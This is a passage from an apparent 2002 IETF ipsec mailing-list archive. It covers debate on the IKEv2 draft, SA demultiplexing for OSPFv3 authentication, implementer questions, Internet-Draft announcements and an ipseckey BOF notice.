this week and so will likely not be able to mail out copies myself. This draft contains a number of changes that have turned out to be controversial. I was hoping to resolve the controversies before posting the draft, but it has become clear that isn't going to happen. I hope the revised draft can focus the debate. I am not trying to preempt any debate; I'm happy to make is say whatever the working group wants. The controversies are: 1) Instead of a 4 message exchange that sometimes becomes 6 (as in earlier versions of IKEv2), the protocol is modified to always require 4 messages to set up the initial SAs (as in JFK). While this sounds simpler, it is arguably more complex and some people are arguing to change it back. 2) Instead of negotiation all cryptographic algorithms separately, they are negotiated as "suites". This greatly simplifies the specification, but some people claim it is too inflexible and makes implementations harder to test. They would like to change it back. If we continue with suites, we will presumeably have to specify more suites. I have only specified two: one for IKE and one for ESP. I tried to specify the algorithms in most common use today, which I believe are based on SHA-1 and 3DES. There has also been some discussion of whether some of the deployed extensions (such an authentication protocol tuned for use with weak passwords and firewall traversal) should be specified in the base document. --Charlie Kaufman Opinions expressed may not even be mine by the time you read them, and certainly don't reflect those of any other entity (legal or otherwise). From owner-ipsec@lists.tislabs.com Mon Oct 14 17:19:17 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9F0JGW16740; Mon, 14 Oct 2002 17:19:16 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA03819 Mon, 14 Oct 2002 19:50:12 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: In-Reply-To: References: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Mon, 14 Oct 2002 16:49:19 -0700 To: Charlie_Kaufman@notesdev.ibm.com, ipsec@lists.tislabs.com From: Paul Hoffman / VPNC Subject: Re: Revised SOI Internet Draft to be posted Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 6:05 PM -0400 10/14/02, Charlie_Kaufman@notesdev.ibm.com wrote: >I don't have a public web site to post it on, and it seemed >rude to spam this list with such a large document. For those who don't want to wait, and pending the actual posting from the Internet Drafts editor, you can get Charlie's document at . --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Mon Oct 14 18:17:03 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9F1H2W20042; Mon, 14 Oct 2002 18:17:02 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id UAA03995 Mon, 14 Oct 2002 20:45:39 -0400 (EDT) Message-Id: <4.3.2.7.1.20021014173756.00b2c8e0@golf.cpgdesign.analog.com> X-Sender: ramana@golf.cpgdesign.analog.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Mon, 14 Oct 2002 17:46:02 -0700 To: ipsec@lists.tislabs.com From: Ramana Yarlagadda Subject: EC2N/EC2P In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Hi, Is there any IKE implementations that support MODP types of ECP and EC2N . ( ECP (elliptic curve group over GF[P]) EC2N (elliptic curve group over GF[2^N]) ) Do we need consider this while implementing IKE? Where do we generally use these? -cheers -ramana From owner-ipsec@lists.tislabs.com Tue Oct 15 17:03:58 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9G03vW05597; Tue, 15 Oct 2002 17:03:57 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id TAA06582 Tue, 15 Oct 2002 19:22:38 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: <3DAC9CED.F791A488@nokia.com> References: <3D91A3BE.2070904@6wind.com> <3D924D4D.35EBF621@iprg.nokia.com> <3DAC9CED.F791A488@nokia.com> Date: Tue, 15 Oct 2002 19:16:03 -0400 To: Mukesh Gupta From: Stephen Kent Subject: Re: draft-gupta-ospf-ospfv3-auth-01.txt Cc: ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 3:55 PM -0700 10/15/02, Mukesh Gupta wrote: > > The new text on how to demux SAs, that appeared in the revised ESP >> and AH IDs several months ago, does not appear to be consistent with >> what appears above, nor does that text appear to be consistent with >> the old demuxing text. >> >> What we used to say was that one used the destination IP address, >> security protocol (AH or ESP) and the SPI to select an SA. We >> realized that, except for multicast addresses, the destination >> address is not relevant to the demuxing, and that the security >> protocol was generally not needed, since the 32-bit SA is big enough >> to provide lots of SAs without using the protocol field. So, the >> revised text now says that one looks only at the SPI for unicast >> traffic, and at the SPI and destination IP address for multicast >> traffic. >> >> There is no notion of per-interface SAD entries, only per-interface >> SPD entries. The text above seems to imply that the same SPI might be >> used for two different SAs, that are distinguished by the interfaces >> via which packets arrive. That is not consistent with the old or >> revised IPsec specs. Only if each interface has its own IPsec >> implementation would the description above seem to be consistent. > >Third paragraph of section 4.4 in RFC2401 says .. > >"Each interface for which IPsec is enabled requires nominally separate inbound >vs. outbound databases (SAD and SPD), because of the directionality of many of >the fields that are used as selectors." Another list member pointed this out to me and I have to admit that this text does suggest that. However, the rest of the discussion of the SAD does not support this interpretation. The discussion of the SPI in 2401 and in the AH and ESP specs makes it pretty clear that the SPI must be generated on a device-unique basis, which is not consistent with the per-interface SAD interpretation. I'm sorry the text above was mislesding. > >Doesn't this mean that we have separate SAD *and* SPD for each >interface ?? With >that assumption, our text is consistent with RFC2401. The >implementation can use >the interface index to select the right SAD and then the protocol type and SPI >can be used to locate a unique SA within that SAD. > >If there is no notion of per-interface SAD, SPI needs to be a unique >identifier >to locate the SA because of the proposed sharing of SAs among all the OSPF >neighbours. Right, unless each interface was a complete IPsec implementation, as I suggested. Certainly if each line card, for example, has its own IPsec chip and software, there would be coordination among them and SPIs might well be duplicated. So, there is a notion of an IPsec "device" and SPIs are unique per device. If the device supports multiple interfaces, the the SPIs are unique across all of those interfaces. > >Please note: >** No modifications in the way SAs are demuxed are required to >provide security >to OSPFv3. ** > >We are not proposing any modifications to the standard IPsec >processing. As long >as the SPD has the rules specified in section 9, things will work with the >current demuxing scheme (using protocol, SPI and destination addr) >as well as the >future scheme (using just SPI). OK. >In the first version, we didn't have section 9 (IPsec rules). Section 7 was >written to explain what selectors will be needed in the SPD but >looks like it is >creating some confusion. Now as section 9 clearly dictates all the SPD rules >required, I think, we can replace section 7 with the following text. (we are >removing the text about the selectors and elaborating on the granularity) > >==== >7. SA Granularity > >The user MUST be given a choice to share the same SA among multiple >interfaces or >using unique SA per interface. >==== > >Comments ??? In the process if revising 2401, we are trying to better address the issues of when routing is done relative to SA lookup and how interfaces or virtual interfaces fit into the processing model. As for the text immediately above (section 7) if you want per-interface SAs, then you have to determine how they are different in terms that IPsec cares about. One model we have discussed is to invoke an abstract routing/forwarding function before the SPD lookup and have it return the ID of a virtual interface. then that ID would be used to select the appropriate SPD (which we all agree is per-interface) for SA selection. That, I think, would meet your requirements. Steve From owner-ipsec@lists.tislabs.com Tue Oct 15 18:20:55 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9G1KsW09494; Tue, 15 Oct 2002 18:20:54 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id UAA06895 Tue, 15 Oct 2002 20:51:22 -0400 (EDT) Message-ID: <3DACB7CF.1F04C00A@nokia.com> Date: Tue, 15 Oct 2002 17:50:23 -0700 From: Mukesh Gupta Organization: Nokia Networks X-Mailer: Mozilla 4.75 [en]C-CCK-MCD {Nokia} (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: ext Stephen Kent CC: ipsec@lists.tislabs.com, OSPF@DISCUSS.MICROSOFT.COM Subject: Re: draft-gupta-ospf-ospfv3-auth-01.txt References: <3D91A3BE.2070904@6wind.com> <3D924D4D.35EBF621@iprg.nokia.com> <3DAC9CED.F791A488@nokia.com> Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 16 Oct 2002 00:50:23.0714 (UTC) FILETIME=[02A2A420:01C274AE] Sender: owner-ipsec@lists.tislabs.com Precedence: bulk > In the process if revising 2401, we are trying to better address the > issues of when routing is done relative to SA lookup and how > interfaces or virtual interfaces fit into the processing model. > > As for the text immediately above (section 7) if you want > per-interface SAs, then you have to determine how they are different > in terms that IPsec cares about. One model we have discussed is to > invoke an abstract routing/forwarding function before the SPD lookup > and have it return the ID of a virtual interface. then that ID would > be used to select the appropriate SPD (which we all agree is > per-interface) for SA selection. That, I think, would meet your > requirements. Looks like it would. We were thinking that it was the responsibility of underlying layers to mark the packets with the virtual interface ID. This again goes to the generic IPsec implementation details. So, I would not like to mention this in this draft. I will modify section 7 of the draft to the new text in the next revision. Thanks... regards Mukesh From owner-ipsec@lists.tislabs.com Wed Oct 16 07:10:20 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9GEAIW21486; Wed, 16 Oct 2002 07:10:19 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA08336 Wed, 16 Oct 2002 09:35:36 -0400 (EDT) Message-Id: <200210161124.HAA24743@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:;;;;@tislabs.com;;; Cc: ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-ipsec-ikev2-03.txt Date: Wed, 16 Oct 2002 07:24:41 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : Internet Key Exchange (IKEv2) Protocol Author(s) : C. Kaufman Filename : draft-ietf-ipsec-ikev2-03.txt Pages : 59 Date : 2002-10-15 This document describes version 2 of the IKE (Internet Key Exchange) protocol. IKE performs mutual authentication and establishes an IKE security association that can be used to efficiently establish SAs for ESP, AH and/or IPcomp. This version greatly simplifies IKE by replacing the 8 possible phase 1 exchanges with a single exchange based on either public signature keys or shared secret keys. The single exchange provides identity hiding, yet works in 2 round trips (all the identity hiding exchanges in IKE v1 required 3 round trips). Latency of setup of an IPsec SA is further reduced from IKEv1 by allowing setup of an SA for ESP, AH, and/or IPcomp to be piggybacked on the initial IKE exchange. It also improves security by allowing the Responder to be stateless until it can be assured that the Initiator can receive at the claimed IP source address. This version also presents the entire protocol in a single self-contained document, in contrast to IKEv1, in which the protocol was described in ISAKMP (RFC 2408), IKE (RFC 2409), and the DOI (RFC 2407) documents. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ikev2-03.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-ikev2-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-ikev2-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2002-10-15141555.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-ipsec-ikev2-03.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-ipsec-ikev2-03.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2002-10-15141555.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ipsec@lists.tislabs.com Wed Oct 16 07:10:20 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9GEAIW21487; Wed, 16 Oct 2002 07:10:19 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA08319 Wed, 16 Oct 2002 09:33:34 -0400 (EDT) Message-ID: <3DAC9CED.F791A488@nokia.com> Date: Tue, 15 Oct 2002 15:55:41 -0700 From: Mukesh Gupta Organization: Nokia Networks X-Mailer: Mozilla 4.75 [en]C-CCK-MCD {Nokia} (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Stephen Kent CC: Mukesh Gupta , Jean-Mickael Guerin , ipsec@lists.tislabs.com, nmelam@iprg.nokia.com, OSPF@DISCUSS.MICROSOFT.COM Subject: Re: draft-gupta-ospf-ospfv3-auth-01.txt References: <3D91A3BE.2070904@6wind.com> <3D924D4D.35EBF621@iprg.nokia.com> Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 15 Oct 2002 22:55:42.0657 (UTC) FILETIME=[FD34AB10:01C2749D] Sender: owner-ipsec@lists.tislabs.com Precedence: bulk > The new text on how to demux SAs, that appeared in the revised ESP > and AH IDs several months ago, does not appear to be consistent with > what appears above, nor does that text appear to be consistent with > the old demuxing text. > > What we used to say was that one used the destination IP address, > security protocol (AH or ESP) and the SPI to select an SA. We > realized that, except for multicast addresses, the destination > address is not relevant to the demuxing, and that the security > protocol was generally not needed, since the 32-bit SA is big enough > to provide lots of SAs without using the protocol field. So, the > revised text now says that one looks only at the SPI for unicast > traffic, and at the SPI and destination IP address for multicast > traffic. > > There is no notion of per-interface SAD entries, only per-interface > SPD entries. The text above seems to imply that the same SPI might be > used for two different SAs, that are distinguished by the interfaces > via which packets arrive. That is not consistent with the old or > revised IPsec specs. Only if each interface has its own IPsec > implementation would the description above seem to be consistent. Third paragraph of section 4.4 in RFC2401 says .. "Each interface for which IPsec is enabled requires nominally separate inbound vs. outbound databases (SAD and SPD), because of the directionality of many of the fields that are used as selectors." Doesn't this mean that we have separate SAD *and* SPD for each interface ?? With that assumption, our text is consistent with RFC2401. The implementation can use the interface index to select the right SAD and then the protocol type and SPI can be used to locate a unique SA within that SAD. If there is no notion of per-interface SAD, SPI needs to be a unique identifier to locate the SA because of the proposed sharing of SAs among all the OSPF neighbours. Please note: ** No modifications in the way SAs are demuxed are required to provide security to OSPFv3. ** We are not proposing any modifications to the standard IPsec processing. As long as the SPD has the rules specified in section 9, things will work with the current demuxing scheme (using protocol, SPI and destination addr) as well as the future scheme (using just SPI). In the first version, we didn't have section 9 (IPsec rules). Section 7 was written to explain what selectors will be needed in the SPD but looks like it is creating some confusion. Now as section 9 clearly dictates all the SPD rules required, I think, we can replace section 7 with the following text. (we are removing the text about the selectors and elaborating on the granularity) ==== 7. SA Granularity The user MUST be given a choice to share the same SA among multiple interfaces or using unique SA per interface. ==== Comments ??? regards Mukesh From owner-ipsec@lists.tislabs.com Thu Oct 17 01:58:45 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9H8wjW14761; Thu, 17 Oct 2002 01:58:45 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id EAA10275 Thu, 17 Oct 2002 04:14:05 -0400 (EDT) Reply-To: From: venkat To: "Ipsec" Subject: IKE - ISAKMP SA and Delete payload Date: Thu, 17 Oct 2002 12:56:40 +0530 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-Mailserver: Sent using PostMaster (v4.1.13) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Is it possible that we receive a delete payload for an ISAKMP SA. Phase 1: Create ISAKMP SAs Phase 2: Create IPSec SAs I understand that delete payloads are used to terminate IPSec SAs what about intentional ISAKMP SA termination (i.e. Stop communication with Gateway X) If we recieve a delete payload for ISAKMP SA, what will be its format is it HDR, HASH, Delete or HDR, Delete I also understand that Delete payloads are only advisory, I have designed my IKE, so that I take action when I recieve a Delete Payload (i.e. delete the target SA) Thanks in advance - Venkat -------------------------------------------------------------- Dexcel Electronics Designs (P) Ltd., Bangalore, India From owner-ipsec@lists.tislabs.com Thu Oct 17 12:33:39 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9HJXcW27207; Thu, 17 Oct 2002 12:33:38 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id OAA11265 Thu, 17 Oct 2002 14:51:25 -0400 (EDT) X-VirusChecked: Checked Message-ID: <8B204D152222D51182B70001028841377C837F@postmaster.cryptek.com> From: "Hu, Shicai" To: "'Internet-Drafts@ietf.org'" , IETF-Announce , @tislabs.com@tislabs.com Cc: ipsec@lists.tislabs.com Subject: Traffic Selector payload RE: I-D ACTION:draft-ietf-ipsec-ikev2-03 ipsec@lists.tislabs.com.txt Date: Thu, 17 Oct 2002 15:08:53 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I remember there are some debates going on here about the TS payload in IKEv2, but unfortunately I delete all those e-mail messages in my mailbox. The messages on this forum are achived? where can I find those old IPsec mailing list messages. Sorry if this question is too trivial to you. -----Original Message----- From: Internet-Drafts@ietf.org [mailto:Internet-Drafts@ietf.org] Sent: Wednesday, October 16, 2002 7:25 AM To: IETF-Announce; @tislabs.com Cc: ipsec@lists.tislabs.com Subject: I-D ACTION:draft-ietf-ipsec-ikev2-03ipsec@lists.tislabs.com.txt A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the IP Security Protocol Working Group of the IETF. Title : Internet Key Exchange (IKEv2) Protocol Author(s) : C. Kaufman Filename : draft-ietf-ipsec-ikev2-03.txt Pages : 59 Date : 2002-10-15 This document describes version 2 of the IKE (Internet Key Exchange) protocol. IKE performs mutual authentication and establishes an IKE security association that can be used to efficiently establish SAs for ESP, AH and/or IPcomp. This version greatly simplifies IKE by replacing the 8 possible phase 1 exchanges with a single exchange based on either public signature keys or shared secret keys. The single exchange provides identity hiding, yet works in 2 round trips (all the identity hiding exchanges in IKE v1 required 3 round trips). Latency of setup of an IPsec SA is further reduced from IKEv1 by allowing setup of an SA for ESP, AH, and/or IPcomp to be piggybacked on the initial IKE exchange. It also improves security by allowing the Responder to be stateless until it can be assured that the Initiator can receive at the claimed IP source address. This version also presents the entire protocol in a single self-contained document, in contrast to IKEv1, in which the protocol was described in ISAKMP (RFC 2408), IKE (RFC 2409), and the DOI (RFC 2407) documents. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-ipsec-ikev2-03.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-ipsec-ikev2-03.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-ipsec-ikev2-03.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. From owner-ipsec@lists.tislabs.com Thu Oct 17 14:02:51 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9HL2oW02650; Thu, 17 Oct 2002 14:02:50 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id QAA11439 Thu, 17 Oct 2002 16:28:33 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: In-Reply-To: <8B204D152222D51182B70001028841377C837F@postmaster.cryptek.com> References: <8B204D152222D51182B70001028841377C837F@postmaster.cryptek.com> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Thu, 17 Oct 2002 13:28:15 -0700 To: "Hu, Shicai" , ipsec@lists.tislabs.com From: Paul Hoffman / VPNC Subject: Re: Traffic Selector payload RE: I-D ACTION:draft-ietf-ipsec-ikev2-03 ipsec@lists.tislabs.com.txt Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 3:08 PM -0400 10/17/02, Hu, Shicai wrote: >I remember there are some debates going on here about the TS payload in >IKEv2, but unfortunately I delete all those e-mail messages in my mailbox. > >The messages on this forum are achived? where can I find those old IPsec >mailing list messages. > >Sorry if this question is too trivial to you. An unofficial archive can be found at . --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Fri Oct 18 08:43:20 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9IFhJW29158; Fri, 18 Oct 2002 08:43:19 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id KAA13178 Fri, 18 Oct 2002 10:58:43 -0400 (EDT) Mime-Version: 1.0 X-Sender: phoffvpnc@mail.vpnc.org Message-Id: X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Fri, 18 Oct 2002 07:58:18 -0700 To: ipsec@lists.tislabs.com From: Paul Hoffman / VPNC Subject: Fwd: 55th IETF Meeting - IPSEC KEYing information resource record BOF (ipseckey) Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ipsec@lists.tislabs.com Precedence: bulk This should be of interest to the WG. >To: IETF-Announce: ; >From: agenda@ietf.org >cc: new-work@ietf.org >Subject: 55th IETF Meeting - IPSEC KEYing information resource >record BOF (ipseckey) >Date: Fri, 18 Oct 2002 10:32:12 -0400 >Sender: dinaras@cnri.reston.va.us > > >IPSEC KEYing information resource record BOF (ipseckey) > >Monday, November 18 at 1530-1730 >================================= > >CHAIRS: Michael Richardson > Olafur Gudmundsson > >MAILING LIST: ipseckey-request@sandelman.ca >Archive: http://www.sandelman.ca/lists/html/ipseckey/ > >DESCRIPTION: > >IP security public KEY in DNS (ipseckey) > >This effort has a goal of designing a resource record for the domain >name system (DNS) to replace the functionality of the IPSEC sub-type >of the KEY resource record. > >Sub-types of the KEY resource record are being obsoleted by the dnsext WG >as part of the revision of the DNSSEC standard. A replacement is sought. > >The scope of work is to identify what information is needed in a >IPSEC specific keying resource record. The contents of the resource record >are not limited to only the information that is in the DNS KEY record but >also contains usefull IPSEC information information. > >The general problems of key management, and semantic content of the data >stored in the resource record is beyond the scope of this effort. This >effort is limited to syntactic issues only. Semantics of the contained >information is left to future deployment documents to define. > >The resulting resource record should be easily extensible for new uses. > >This effort is specific to providing IPSEC information in DNS. >All other distributed databases are out of scope. > >PROPOSED SCHEDULE > >DEC 02 Solicit various proposals on what information is needed in > IPSEC specific KEYing record. > >FEB 02 First draft of consensus RR proposal > >APR 02 Advance Document to IESG > >AGENDA: > >1. Open meeting and welcome > >2. Scribe and blue sheet > >3. Introduction Michael Richardson > >4. Documents > >4.1 Why KEY is being obsoleted. Dan Massey > www.ietf.org/internet-drafts/draft-ietf-dnsext-restrict-key-for-dnssec-04.txt > >4.2 Requirements. > >4.3 Any IPSECKEY proposal that have shown up by Atlanta. > >5. open mike > >6. Charter discussion --Paul Hoffman, Director --VPN Consortium From owner-ipsec@lists.tislabs.com Fri Oct 18 09:14:11 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9IGEAW02114; Fri, 18 Oct 2002 09:14:10 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id LAA13357 Fri, 18 Oct 2002 11:41:15 -0400 (EDT) Message-Id: <200210181510.LAA29565@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:;;;;@tislabs.com;;; Cc: ietf-send@standards.ericsson.net, ipng@sunroof.eng.sun.com, ipsec@lists.tislabs.com From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-send-psreq-00.txt Date: Fri, 18 Oct 2002 11:10:03 -0400 Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Securing Neighbor Discovery Working Group of the IETF. Title : IPv6 Neighbor Discovery trust models and threats Author(s) : P. Nikander Filename : draft-ietf-send-psreq-00.txt Pages : 13 Date : 2002-10-17 The existing IETF standards specify that IPv6 Neighbor Discovery and Address Autoconfiguration mechanisms MAY be protected with IPsec AH. However, the current specifications limit the security solutions to manual keying due to practical problems faced with automatic key management. This document specifies three different trust models and discusses the threats pertient to IPv6 Neighbor Discovery. The purpose of this discussion is to define the requirements for Securing IPv6 Neigbor Discovery. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-send-psreq-00.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-send-psreq-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-send-psreq-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2002-10-18111857.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-send-psreq-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-send-psreq-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2002-10-18111857.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-ipsec@lists.tislabs.com Fri Oct 18 13:17:34 2002 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.11.6/8.11.3) with ESMTP id g9IKHYW14804; Fri, 18 Oct 2002 13:17:34 -0700 (PDT) Received: by lists.tislabs.com (8.9.1/8.9.1) id PAA13819 Fri, 18 Oct 2002 15:39:15 -0400 (EDT) Message-Id: <200210181919.g9IJJKOQ025003@marajade.sandelman.ottawa.on.ca> To: ipsec@lists.tislabs.com Subject: Re: Fwd: 55th IETF Meeting - IPSEC KEYing information resource record BOF (ipseckey) In-reply-to: Your message of "Fri, 18 Oct 2002 07:58:18 PDT." Mime-Version: 1.0 (generated by tm-edit 1.8) Content-Type: text/plain; charset=US-ASCII Date: Fri, 18 Oct 2002 15:19:19 -0400 From: Michael Richardson Sender: owner-ipsec@lists.tislabs.com 